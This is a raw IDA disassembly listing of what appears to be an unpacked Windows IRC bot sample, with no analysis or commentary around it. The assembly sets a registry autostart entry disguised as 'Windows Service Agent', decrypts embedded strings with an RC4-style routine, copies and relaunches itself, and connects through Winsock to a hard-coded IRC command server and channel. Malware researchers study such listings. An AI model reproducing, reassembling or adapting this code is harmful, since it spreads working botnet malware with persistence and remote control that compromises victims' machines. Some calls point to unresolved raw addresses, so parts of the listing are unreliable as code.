;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	D2FB5A4A3C82CCE4BA140B9EF4A8B6C0

; File Name   :	u:\work\d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 0020F000 (2158592.)
; Section size in file		: 0020F000 (2158592.)
; Offset to raw	data for section: 00001000
; Flags	E00000C0: Data Bss Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_XComp0		segment	para public 'CODE' use32
		assume cs:_XComp0
		;org 401000h
		assume es:nothing, ss:nothing, ds:_XComp0, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: sub_4016A7+409p
					; sub_41A907+1Dp
					; DATA XREF: ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_8], 0
		jmp	short loc_401012
; ---------------------------------------------------------------------------


loc_40100B:				; CODE XREF: sub_401000+83j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_401012:				; CODE XREF: sub_401000+9j
		cmp	[ebp+var_8], 3
		jnb	short locret_401085
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		mov	eax, [ebp+var_8]
		push	off_441054[eax*8]
		mov	eax, [ebp+var_8]
		push	dword_441050[eax*8]
		call	dword_4E16B4	; RegCreateKeyExA
		cmp	[ebp+arg_0], 0
		jz	short loc_40106C
		push	[ebp+arg_0]
		call	sub_41EBD0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	0
		push	offset aWindowsService ; "Windows Service Agent"
		push	[ebp+var_4]
		call	dword_4E1724	; RegSetValueExA
		jmp	short loc_40107A
; ---------------------------------------------------------------------------


loc_40106C:				; CODE XREF: sub_401000+49j
		push	offset aWindowsService ; "Windows Service Agent"
		push	[ebp+var_4]
		call	dword_4E1664	; RegDeleteValueA


loc_40107A:				; CODE XREF: sub_401000+6Aj
		push	[ebp+var_4]
		call	dword_4E16DC	; RegCloseKey
		jmp	short loc_40100B
; ---------------------------------------------------------------------------

locret_401085:				; CODE XREF: sub_401000+16j
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401087	proc near		; CODE XREF: .XComp0:0040116Ep

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		or	[ebp+var_C], 0FFFFFFFFh
		and	[ebp+var_10], 0
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		jmp	short loc_4010B3
; ---------------------------------------------------------------------------


loc_4010AC:				; CODE XREF: sub_401087+5Bj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_4010B3:				; CODE XREF: sub_401087+23j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_4]
		dec	ecx
		mov	[ebp+var_4], ecx
		test	eax, eax
		jz	short loc_4010E4
		mov	eax, [ebp+var_C]
		shr	eax, 8
		mov	ecx, [ebp+var_8]
		movsx	ecx, byte ptr [ecx]
		mov	edx, [ebp+var_C]
		xor	edx, ecx
		and	edx, 0FFh
		xor	eax, dword_43E01C[edx*4]
		mov	[ebp+var_C], eax
		jmp	short loc_4010AC
; ---------------------------------------------------------------------------


loc_4010E4:				; CODE XREF: sub_401087+38j
		mov	eax, [ebp+var_C]
		not	eax
		leave
		retn
sub_401087	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		and	dword ptr [ebp-10h], 0
		push	0
		call	sub_41EDA0
		pop	ecx
		mov	[ebp-0Ch], eax
		push	offset dword_441068
		push	dword ptr [ebp+8]
		call	sub_4213F0
		pop	ecx
		pop	ecx
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_40111C
		xor	eax, eax
		jmp	short locret_40118D
; ---------------------------------------------------------------------------


loc_40111C:				; CODE XREF: .XComp0:00401116j
					; .XComp0:00401164j
		mov	eax, [ebp-4]
		mov	eax, [eax+0Ch]
		and	eax, 10h
		test	eax, eax
		jnz	short loc_401166
		mov	eax, [ebp-10h]
		inc	eax
		mov	[ebp-10h], eax
		push	dword ptr [ebp-10h]
		push	dword ptr [ebp-0Ch]
		call	sub_41F290
		pop	ecx
		pop	ecx
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-0Ch], 0
		jnz	short loc_40114A
		xor	eax, eax
		jmp	short locret_40118D
; ---------------------------------------------------------------------------


loc_40114A:				; CODE XREF: .XComp0:00401144j
		push	dword ptr [ebp-4]
		push	1
		push	1
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-0Ch]
		lea	eax, [ecx+eax-1]
		push	eax
		call	sub_4210E0
		add	esp, 10h
		jmp	short loc_40111C
; ---------------------------------------------------------------------------


loc_401166:				; CODE XREF: .XComp0:00401127j
		mov	eax, [ebp-10h]
		dec	eax
		push	eax
		push	dword ptr [ebp-0Ch]
		call	sub_401087
		pop	ecx
		pop	ecx
		mov	[ebp-8], eax
		push	dword ptr [ebp-0Ch]
		call	sub_41F930
		pop	ecx
		push	dword ptr [ebp-4]
		call	sub_41EC50
		pop	ecx
		mov	eax, [ebp-8]

locret_40118D:				; CODE XREF: .XComp0:0040111Aj
					; .XComp0:00401148j
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 258h
		and	byte ptr [ebp-148h], 0
		and	byte ptr [ebp-258h], 0
		and	dword ptr [ebp-14Ch], 0
		and	dword ptr [ebp-150h], 0
		and	dword ptr [ebp-3Ch], 0
		and	dword ptr [ebp-144h], 0
		mov	byte ptr [ebp-34h], 0Ah
		mov	byte ptr [ebp-33h], 0Eh
		mov	byte ptr [ebp-32h], 20h
		mov	byte ptr [ebp-31h], 48h
		mov	byte ptr [ebp-30h], 0Bh
		mov	byte ptr [ebp-2Fh], 2Bh
		mov	byte ptr [ebp-2Eh], 0Ch
		mov	byte ptr [ebp-2Dh], 23h
		mov	byte ptr [ebp-2Ch], 3Ah
		mov	byte ptr [ebp-2Bh], 27h
		mov	byte ptr [ebp-2Ah], 28h
		mov	byte ptr [ebp-29h], 5Eh
		mov	byte ptr [ebp-28h], 2Ah
		mov	byte ptr [ebp-27h], 1Eh
		mov	byte ptr [ebp-26h], 2Dh
		mov	byte ptr [ebp-25h], 5Ah
		mov	byte ptr [ebp-24h], 1Bh
		mov	byte ptr [ebp-23h], 0Fh
		mov	byte ptr [ebp-22h], 4Ch
		mov	byte ptr [ebp-21h], 44h
		mov	byte ptr [ebp-20h], 16h
		mov	byte ptr [ebp-1Fh], 4
		mov	byte ptr [ebp-1Eh], 57h
		mov	byte ptr [ebp-1Dh], 23h
		mov	byte ptr [ebp-1Ch], 11h
		mov	byte ptr [ebp-1Bh], 53h
		mov	byte ptr [ebp-1Ah], 38h
		mov	byte ptr [ebp-19h], 13h
		mov	byte ptr [ebp-18h], 0Dh
		mov	byte ptr [ebp-17h], 12h
		mov	byte ptr [ebp-16h], 25h
		mov	byte ptr [ebp-15h], 1Ch
		mov	byte ptr [ebp-14h], 30h
		mov	byte ptr [ebp-13h], 12h
		mov	byte ptr [ebp-12h], 50h
		mov	byte ptr [ebp-11h], 4Fh
		mov	byte ptr [ebp-10h], 39h
		mov	byte ptr [ebp-0Fh], 10h
		mov	byte ptr [ebp-0Eh], 42h
		mov	byte ptr [ebp-0Dh], 1Fh
		mov	byte ptr [ebp-0Ch], 37h
		mov	byte ptr [ebp-0Bh], 1Dh
		mov	byte ptr [ebp-0Ah], 41h
		mov	byte ptr [ebp-9], 55h
		mov	byte ptr [ebp-8], 2Ch
		mov	byte ptr [ebp-7], 41h
		mov	byte ptr [ebp-6], 2Ch
		mov	byte ptr [ebp-5], 58h
		and	byte ptr [ebp-4], 0


loc_401283:				; DATA XREF: sub_610867+150r
		lea	eax, [ebp-34h]
		push	eax
		call	sub_41EBD0
		pop	ecx
		mov	[ebp-38h], eax
		push	101h
		push	0
		lea	eax, [ebp-140h]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		push	101h
		push	0
		lea	eax, [ebp-254h]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		and	dword ptr [ebp-14Ch], 0
		jmp	short loc_4012D2
; ---------------------------------------------------------------------------


loc_4012C5:				; CODE XREF: .XComp0:004012F1j
		mov	eax, [ebp-14Ch]
		inc	eax
		mov	[ebp-14Ch], eax


loc_4012D2:				; CODE XREF: .XComp0:004012C3j
		cmp	dword ptr [ebp-14Ch], 100h
		jnb	short loc_4012F3
		mov	eax, [ebp-14Ch]
		mov	cl, [ebp-14Ch]
		mov	[ebp+eax-140h],	cl
		jmp	short loc_4012C5
; ---------------------------------------------------------------------------


loc_4012F3:				; CODE XREF: .XComp0:004012DCj
		cmp	dword ptr [ebp+14h], 0
		jz	short loc_401356
		and	dword ptr [ebp-14Ch], 0
		jmp	short loc_40130F
; ---------------------------------------------------------------------------


loc_401302:				; CODE XREF: .XComp0:00401352j
		mov	eax, [ebp-14Ch]
		inc	eax
		mov	[ebp-14Ch], eax


loc_40130F:				; CODE XREF: .XComp0:00401300j
		cmp	dword ptr [ebp-14Ch], 100h
		jnb	short loc_401354
		mov	eax, [ebp-150h]
		cmp	eax, [ebp+14h]
		jnz	short loc_40132D
		and	dword ptr [ebp-150h], 0


loc_40132D:				; CODE XREF: .XComp0:00401324j
		mov	eax, [ebp+10h]
		add	eax, [ebp-150h]
		mov	ecx, [ebp-14Ch]
		mov	al, [eax]
		mov	[ebp+ecx-254h],	al
		mov	eax, [ebp-150h]
		inc	eax
		mov	[ebp-150h], eax
		jmp	short loc_401302
; ---------------------------------------------------------------------------


loc_401354:				; CODE XREF: .XComp0:00401319j
		jmp	short loc_4013B0
; ---------------------------------------------------------------------------


loc_401356:				; CODE XREF: .XComp0:004012F7j
		and	dword ptr [ebp-14Ch], 0
		jmp	short loc_40136C
; ---------------------------------------------------------------------------


loc_40135F:				; CODE XREF: .XComp0:004013AEj
		mov	eax, [ebp-14Ch]
		inc	eax
		mov	[ebp-14Ch], eax


loc_40136C:				; CODE XREF: .XComp0:0040135Dj
		cmp	dword ptr [ebp-14Ch], 100h
		jnb	short loc_4013B0
		mov	eax, [ebp-150h]
		cmp	eax, [ebp-38h]
		jnz	short loc_40138A
		and	dword ptr [ebp-150h], 0


loc_40138A:				; CODE XREF: .XComp0:00401381j
		mov	eax, [ebp-14Ch]
		mov	ecx, [ebp-150h]
		mov	cl, [ebp+ecx-34h]
		mov	[ebp+eax-254h],	cl
		mov	eax, [ebp-150h]
		inc	eax
		mov	[ebp-150h], eax
		jmp	short loc_40135F
; ---------------------------------------------------------------------------


loc_4013B0:				; CODE XREF: .XComp0:loc_401354j
					; .XComp0:00401376j
		and	dword ptr [ebp-150h], 0
		and	dword ptr [ebp-14Ch], 0
		jmp	short loc_4013CD
; ---------------------------------------------------------------------------


loc_4013C0:				; CODE XREF: .XComp0:0040144Ej
		mov	eax, [ebp-14Ch]
		inc	eax
		mov	[ebp-14Ch], eax


loc_4013CD:				; CODE XREF: .XComp0:004013BEj
		cmp	dword ptr [ebp-14Ch], 100h
		jnb	short loc_401453
		mov	eax, [ebp-14Ch]
		movsx	eax, byte ptr [ebp+eax-140h]
		mov	ecx, [ebp-150h]
		add	ecx, eax
		mov	eax, [ebp-14Ch]
		movsx	eax, byte ptr [ebp+eax-254h]
		add	eax, ecx
		xor	edx, edx
		mov	ecx, 100h
		div	ecx
		mov	[ebp-150h], edx
		mov	eax, [ebp-14Ch]
		mov	al, [ebp+eax-140h]
		mov	[ebp-148h], al
		mov	eax, [ebp-14Ch]
		mov	ecx, [ebp-150h]
		mov	cl, [ebp+ecx-140h]
		mov	[ebp+eax-140h],	cl
		mov	eax, [ebp-150h]
		mov	cl, [ebp-148h]
		mov	[ebp+eax-140h],	cl
		jmp	loc_4013C0
; ---------------------------------------------------------------------------


loc_401453:				; CODE XREF: .XComp0:004013D7j
		and	dword ptr [ebp-150h], 0
		mov	eax, [ebp-150h]
		mov	[ebp-14Ch], eax
		and	dword ptr [ebp-144h], 0
		jmp	short loc_40147C
; ---------------------------------------------------------------------------


loc_40146F:				; CODE XREF: .XComp0:00401560j
		mov	eax, [ebp-144h]
		inc	eax
		mov	[ebp-144h], eax


loc_40147C:				; CODE XREF: .XComp0:0040146Dj
		mov	eax, [ebp-144h]
		cmp	eax, [ebp+0Ch]
		jnb	locret_401565
		mov	eax, [ebp-14Ch]
		inc	eax
		xor	edx, edx


loc_401494:				; DATA XREF: .XComp0:off_44AC1Co
		mov	ecx, 100h
		div	ecx
		mov	[ebp-14Ch], edx
		mov	eax, [ebp-14Ch]
		movsx	eax, byte ptr [ebp+eax-140h]
		mov	ecx, [ebp-150h]
		add	eax, ecx
		xor	edx, edx
		mov	ecx, 100h
		div	ecx
		mov	[ebp-150h], edx
		mov	eax, [ebp-14Ch]
		mov	al, [ebp+eax-140h]
		mov	[ebp-148h], al
		mov	eax, [ebp-14Ch]
		mov	ecx, [ebp-150h]
		mov	cl, [ebp+ecx-140h]
		mov	[ebp+eax-140h],	cl
		mov	eax, [ebp-150h]
		mov	cl, [ebp-148h]
		mov	[ebp+eax-140h],	cl
		mov	eax, [ebp-14Ch]
		movsx	eax, byte ptr [ebp+eax-140h]
		mov	ecx, [ebp-150h]
		movsx	ecx, byte ptr [ebp+ecx-140h]
		add	eax, ecx
		xor	edx, edx
		mov	ecx, 100h
		div	ecx
		mov	[ebp-3Ch], edx
		mov	eax, [ebp-3Ch]
		mov	al, [ebp+eax-140h]
		mov	[ebp-258h], al
		mov	eax, [ebp+8]
		add	eax, [ebp-144h]
		movsx	eax, byte ptr [eax]
		movsx	ecx, byte ptr [ebp-258h]
		xor	eax, ecx
		mov	ecx, [ebp+8]
		add	ecx, [ebp-144h]
		mov	[ecx], al
		jmp	loc_40146F
; ---------------------------------------------------------------------------

locret_401565:				; CODE XREF: .XComp0:00401485j
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401567	proc near		; DATA XREF: sub_4016A7+28o

var_26C		= dword	ptr -26Ch
var_25C		= dword	ptr -25Ch
var_258		= dword	ptr -258h
var_24C		= byte ptr -24Ch
var_148		= dword	ptr -148h
var_13C		= dword	ptr -13Ch
var_11C		= dword	ptr -11Ch
var_118		= word ptr -118h
var_104		= byte ptr -104h
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_454624
		call	dword_4E1798	; closesocket
		call	sub_40D605


loc_401584:				; DATA XREF: sub_610867+B0w
		call	dword_4E1658	; WSACleanup
		call	dword_4E1658	; WSACleanup
		push	64h
		call	near ptr 27B048Ah
		nop
		push	10h
		push	0
		lea	eax, [ebp+var_25C]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		push	44h
		push	0
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_421410


loc_4015BB:				; DATA XREF: sub_610867+F0r
		add	esp, 0Ch
		mov	[ebp+var_13C], offset dword_453890
		mov	[ebp+var_148], 44h
		mov	[ebp+var_11C], 1
		and	[ebp+var_118], 0
		push	104h
		lea	eax, [ebp+var_24C]
		push	eax
		nop
		call	near ptr 27B0000h
		push	104h
		lea	eax, [ebp+var_104]
		push	eax
		push	0
		call	near ptr 27A0000h
		nop
		lea	eax, [ebp+var_25C]
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	0
		push	28h
		push	1
		push	0
		push	0
		lea	eax, [ebp+var_104]
		push	eax
		push	0
		nop
		call	near ptr 2790973h
		test	eax, eax
		jz	short loc_40165C
		push	64h
		nop
		call	near ptr 27B048Ah
		push	[ebp+var_25C]
		call	near ptr 2790578h
		nop
		push	[ebp+var_258]
		call	near ptr 2790578h
		nop


loc_40165C:				; CODE XREF: sub_401567+D3j
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_453888
		mov	eax, [esp+26Ch+var_26C]
		mov	large fs:0, eax
		add	esp, 8
		push	0
		call	near ptr 7C81CDDAh
		nop
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401567	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401682	proc near		; DATA XREF: .XComp0:00441004o
		push	ebp
		mov	ebp, esp
		call	sub_40168C
		pop	ebp
		retn
sub_401682	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40168C	proc near		; CODE XREF: sub_401682+3p
		push	ebp
		mov	ebp, esp
		push	0FFFFh
		push	539h
		call	sub_41AE1B
		pop	ecx
		pop	ecx
		mov	dword_4E1418, eax
		pop	ebp
		retn
sub_40168C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4016A7	proc near		; CODE XREF: .XComp0:00424931p

var_99C		= dword	ptr -99Ch
var_998		= dword	ptr -998h
var_994		= dword	ptr -994h
var_990		= dword	ptr -990h
var_984		= dword	ptr -984h
var_980		= byte ptr -980h
var_87C		= dword	ptr -87Ch
var_878		= dword	ptr -878h
var_86C		= dword	ptr -86Ch
var_84C		= dword	ptr -84Ch
var_848		= word ptr -848h
var_834		= byte ptr -834h
var_730		= dword	ptr -730h
var_72C		= word ptr -72Ch
var_59C		= dword	ptr -59Ch
var_598		= byte ptr -598h
var_498		= byte ptr -498h
var_394		= byte ptr -394h
var_314		= byte ptr -314h
var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= byte ptr -204h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 99Ch
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_210], 0
		and	[ebp+var_20C], 0
		and	[ebp+var_59C], 0
		and	[ebp+var_730], 0
		mov	[ebp+var_208], offset sub_401567
		push	[ebp+var_208]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	near ptr 27D079Eh
		nop
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4E141C, eax
		call	near ptr 27D079Eh
		nop
		push	eax
		call	sub_421AC0
		pop	ecx
		call	sub_40B0C5
		push	2
		call	dword_4E17AC	; SetErrorMode
		push	7530h
		push	offset dword_4410A0
		push	0
		push	0
		nop
		call	near ptr 27D0000h
		push	eax
		nop
		call	near ptr 27C08F0h
		cmp	eax, 102h
		jnz	short loc_401745
		push	1
		nop
		call	near ptr 7C81CDDAh


loc_401745:				; CODE XREF: sub_4016A7+94j
		lea	eax, [ebp+var_72C]
		push	eax
		push	202h
		call	dword_4E1670	; WSAStartup
		mov	[ebp+var_20C], eax
		cmp	[ebp+var_20C], 0
		jz	short loc_40176D
		xor	eax, eax
		jmp	loc_401DE5
; ---------------------------------------------------------------------------


loc_40176D:				; CODE XREF: sub_4016A7+BDj
		movzx	eax, [ebp+var_72C]
		and	eax, 0FFh
		movzx	eax, al
		cmp	eax, 2
		jnz	short loc_401793
		movzx	eax, [ebp+var_72C]
		shr	eax, 8
		movzx	eax, al
		cmp	eax, 2
		jz	short loc_4017A0


loc_401793:				; CODE XREF: sub_4016A7+D8j
		call	dword_4E1658	; WSACleanup
		xor	eax, eax
		jmp	loc_401DE5
; ---------------------------------------------------------------------------


loc_4017A0:				; CODE XREF: sub_4016A7+EAj
		push	104h
		lea	eax, [ebp+var_498]
		push	eax
		nop
		call	near ptr 27B0000h
		push	104h
		lea	eax, [ebp+var_314]
		push	eax
		push	0
		nop
		call	near ptr 27C0753h
		push	eax
		nop
		call	near ptr 27A0000h
		lea	eax, [ebp+var_598]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+var_314]
		push	eax
		call	sub_421C90
		add	esp, 14h
		lea	eax, [ebp+var_598]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		push	offset aSS_6	; "%s%s"
		push	104h
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_421B90
		add	esp, 14h
		lea	eax, [ebp+var_498]
		push	eax
		lea	eax, [ebp+var_314]
		push	eax
		call	sub_421B10
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_401A3C
		cmp	dword_4E1588, 0
		jz	short loc_401883
		and	[ebp+var_210], 0
		jmp	short loc_401851
; ---------------------------------------------------------------------------


loc_401844:				; CODE XREF: sub_4016A7+1DAj
		mov	eax, [ebp+var_210]
		inc	eax
		mov	[ebp+var_210], eax


loc_401851:				; CODE XREF: sub_4016A7+19Bj
		push	offset byte_4410E8
		call	sub_41EBD0
		pop	ecx
		sub	eax, 4
		cmp	[ebp+var_210], eax
		jnb	short loc_401883
		call	sub_421AD0
		cdq
		push	1Ah
		pop	ecx
		idiv	ecx
		add	edx, 61h
		mov	eax, [ebp+var_210]
		mov	byte_4410E8[eax], dl
		jmp	short loc_401844
; ---------------------------------------------------------------------------


loc_401883:				; CODE XREF: sub_4016A7+192j
					; sub_4016A7+1BEj
		push	offset byte_4410E8
		lea	eax, [ebp+var_498]
		push	eax
		push	offset aSS_7	; "%s\\%s"
		lea	eax, [ebp+var_980]
		push	eax
		call	sub_4219C0
		add	esp, 10h
		lea	eax, [ebp+var_980]
		push	eax
		nop
		call	near ptr 27C0595h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4018C7
		push	80h
		lea	eax, [ebp+var_980]
		push	eax
		call	near ptr 27C0342h
		nop


loc_4018C7:				; CODE XREF: sub_4016A7+20Cj
		and	[ebp+var_87C], 0


loc_4018CE:				; CODE XREF: sub_4016A7:loc_401928j
		push	0
		lea	eax, [ebp+var_980]
		push	eax
		lea	eax, [ebp+var_314]
		push	eax
		nop


loc_4018DF:				; DATA XREF: .XComp:00610B8Co
		call	near ptr 27C0000h
		test	eax, eax
		jnz	short loc_40192A
		nop
		call	near ptr 27B0F7Fh
		mov	[ebp+var_998], eax
		cmp	[ebp+var_87C], 0
		jnz	short loc_401926
		cmp	[ebp+var_998], 20h
		jz	short loc_40190F
		cmp	[ebp+var_998], 5
		jnz	short loc_401926


loc_40190F:				; CODE XREF: sub_4016A7+25Dj
		mov	[ebp+var_87C], 1
		push	3A98h
		nop
		call	near ptr 27B048Ah
		jmp	short loc_401928
; ---------------------------------------------------------------------------


loc_401926:				; CODE XREF: sub_4016A7+254j
					; sub_4016A7+266j
		jmp	short loc_40192A
; ---------------------------------------------------------------------------


loc_401928:				; CODE XREF: sub_4016A7+27Dj
		jmp	short loc_4018CE
; ---------------------------------------------------------------------------


loc_40192A:				; CODE XREF: sub_4016A7+23Fj
					; sub_4016A7:loc_401926j
		lea	eax, [ebp+var_980]
		push	eax
		call	sub_41A75B
		pop	ecx
		push	7
		lea	eax, [ebp+var_980]
		push	eax
		nop
		call	near ptr 27C0342h
		push	10h
		push	0
		lea	eax, [ebp+var_994]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		push	44h
		push	0
		lea	eax, [ebp+var_878]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		mov	[ebp+var_86C], offset dword_4E15AC
		mov	[ebp+var_878], 44h
		mov	[ebp+var_84C], 1
		and	[ebp+var_848], 0
		call	near ptr 27B0F5Ah
		nop
		push	eax
		push	1
		push	100000h
		nop
		call	near ptr 27B0949h
		mov	[ebp+var_984], eax
		lea	eax, [ebp+var_314]
		push	eax
		push	[ebp+var_984]
		lea	eax, [ebp+var_980]
		push	eax
		push	offset aSDS_0	; "%s %d \"%s\""
		lea	eax, [ebp+var_834]
		push	eax
		call	sub_4219C0
		add	esp, 14h
		lea	eax, [ebp+var_994]
		push	eax
		lea	eax, [ebp+var_878]
		push	eax
		lea	eax, [ebp+var_498]
		push	eax
		push	0
		push	28h
		push	1
		push	0
		push	0
		lea	eax, [ebp+var_834]
		push	eax
		lea	eax, [ebp+var_980]
		push	eax
		nop
		call	near ptr 2790973h
		test	eax, eax
		jz	short loc_401A3C
		push	0C8h
		nop
		call	near ptr 27B048Ah
		push	[ebp+var_994]
		nop
		call	near ptr 2790578h
		push	[ebp+var_990]
		nop
		call	near ptr 2790578h
		call	dword_4E1658	; WSACleanup
		push	0
		nop
		call	near ptr 7C81CDDAh


loc_401A3C:				; CODE XREF: sub_4016A7+185j
					; sub_4016A7+362j
		cmp	dword_4E9208, 2
		jle	short loc_401A97
		mov	eax, dword_4E920C
		push	dword ptr [eax+4]
		call	sub_421670
		pop	ecx
		mov	[ebp+var_99C], eax
		push	0FFFFFFFFh
		push	[ebp+var_99C]
		nop
		call	near ptr 27C08F0h
		push	[ebp+var_99C]
		nop
		call	near ptr 2790578h
		mov	eax, dword_4E920C
		cmp	dword ptr [eax+8], 0
		jz	short loc_401A97
		push	7D0h
		call	near ptr 27B048Ah
		nop
		mov	eax, dword_4E920C
		push	dword ptr [eax+8]
		nop
		call	near ptr 27B0806h


loc_401A97:				; CODE XREF: sub_4016A7+39Cj
					; sub_4016A7+3D5j
		cmp	dword_44108C, 0
		jz	short loc_401AB6
		cmp	dword_4E17D0, 0
		jnz	short loc_401AB6
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_401000
		pop	ecx


loc_401AB6:				; CODE XREF: sub_4016A7+3F7j
					; sub_4016A7+400j
		push	offset dword_441A74
		lea	eax, [ebp+var_394]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		push	0
		push	0
		lea	eax, [ebp+var_394]
		push	eax
		call	sub_40D32A
		add	esp, 0Ch
		lea	eax, [ebp+var_394]
		push	eax
		call	sub_4173DC
		pop	ecx
		push	0B80h
		push	0
		push	offset byte_453898
		call	sub_421410
		add	esp, 0Ch
		push	offset unk_441A90
		lea	eax, [ebp+var_394]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		push	0
		push	1
		lea	eax, [ebp+var_394]
		push	eax
		call	sub_40D32A
		add	esp, 0Ch
		mov	[ebp+var_210], eax
		lea	eax, [ebp+var_59C]
		push	eax
		push	0
		push	0
		push	offset word_41D1D6
		push	0
		push	0
		nop
		call	near ptr 27B05E2h
		mov	ecx, [ebp+var_210]
		imul	ecx, 234h
		mov	dword_45462C[ecx], eax
		mov	eax, [ebp+var_210]
		imul	eax, 234h
		cmp	dword_45462C[eax], 0
		jnz	short loc_401B85
		nop
		call	near ptr 27B0F7Fh
		push	eax
		push	offset unk_441AB4
		lea	eax, [ebp+var_394]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch


loc_401B85:				; CODE XREF: sub_4016A7+4C1j
		lea	eax, [ebp+var_394]
		push	eax
		call	sub_4173DC
		pop	ecx
		push	2
		call	sub_40D6D9
		pop	ecx
		test	eax, eax
		jnz	loc_401C3B
		push	offset dword_441AF4
		lea	eax, [ebp+var_394]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		push	0
		push	2
		lea	eax, [ebp+var_394]
		push	eax
		call	sub_40D32A
		add	esp, 0Ch
		mov	[ebp+var_210], eax
		lea	eax, [ebp+var_59C]
		push	eax
		push	0
		push	[ebp+var_210]
		push	offset sub_415BB9
		push	0
		push	0
		nop
		call	near ptr 27B05E2h
		mov	ecx, [ebp+var_210]
		imul	ecx, 234h
		mov	dword_45462C[ecx], eax
		mov	eax, [ebp+var_210]
		imul	eax, 234h
		cmp	dword_45462C[eax], 0
		jnz	short loc_401C2E
		nop
		call	near ptr 27B0F7Fh
		push	eax
		push	offset dword_441B20
		lea	eax, [ebp+var_394]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch


loc_401C2E:				; CODE XREF: sub_4016A7+56Aj
		lea	eax, [ebp+var_394]
		push	eax
		call	sub_4173DC
		pop	ecx


loc_401C3B:				; CODE XREF: sub_4016A7+4F5j
		call	sub_421AD0
		xor	edx, edx
		push	4
		pop	ecx
		div	ecx
		mov	dword_4E15A4, edx
		push	7Fh
		push	offset aIrc_mrneti_cjb ; "irc.mrneti.cjb.net"
		push	offset dword_4E1424
		call	sub_421470
		add	esp, 0Ch
		mov	eax, dword_44106C
		mov	dword_4E1574, eax
		push	3Fh
		push	offset aMrneti	; "##mrneti##"
		push	offset dword_4E14A4
		call	sub_421470
		add	esp, 0Ch
		push	3Fh
		push	offset dword_4E1590
		push	offset dword_4E14E4
		call	sub_421470
		add	esp, 0Ch
		and	dword_4E1578, 0


loc_401C9A:				; CODE XREF: sub_4016A7:loc_401DD3j
		push	1
		pop	eax
		test	eax, eax
		jz	loc_401DD8
		and	[ebp+var_210], 0
		jmp	short loc_401CBB
; ---------------------------------------------------------------------------


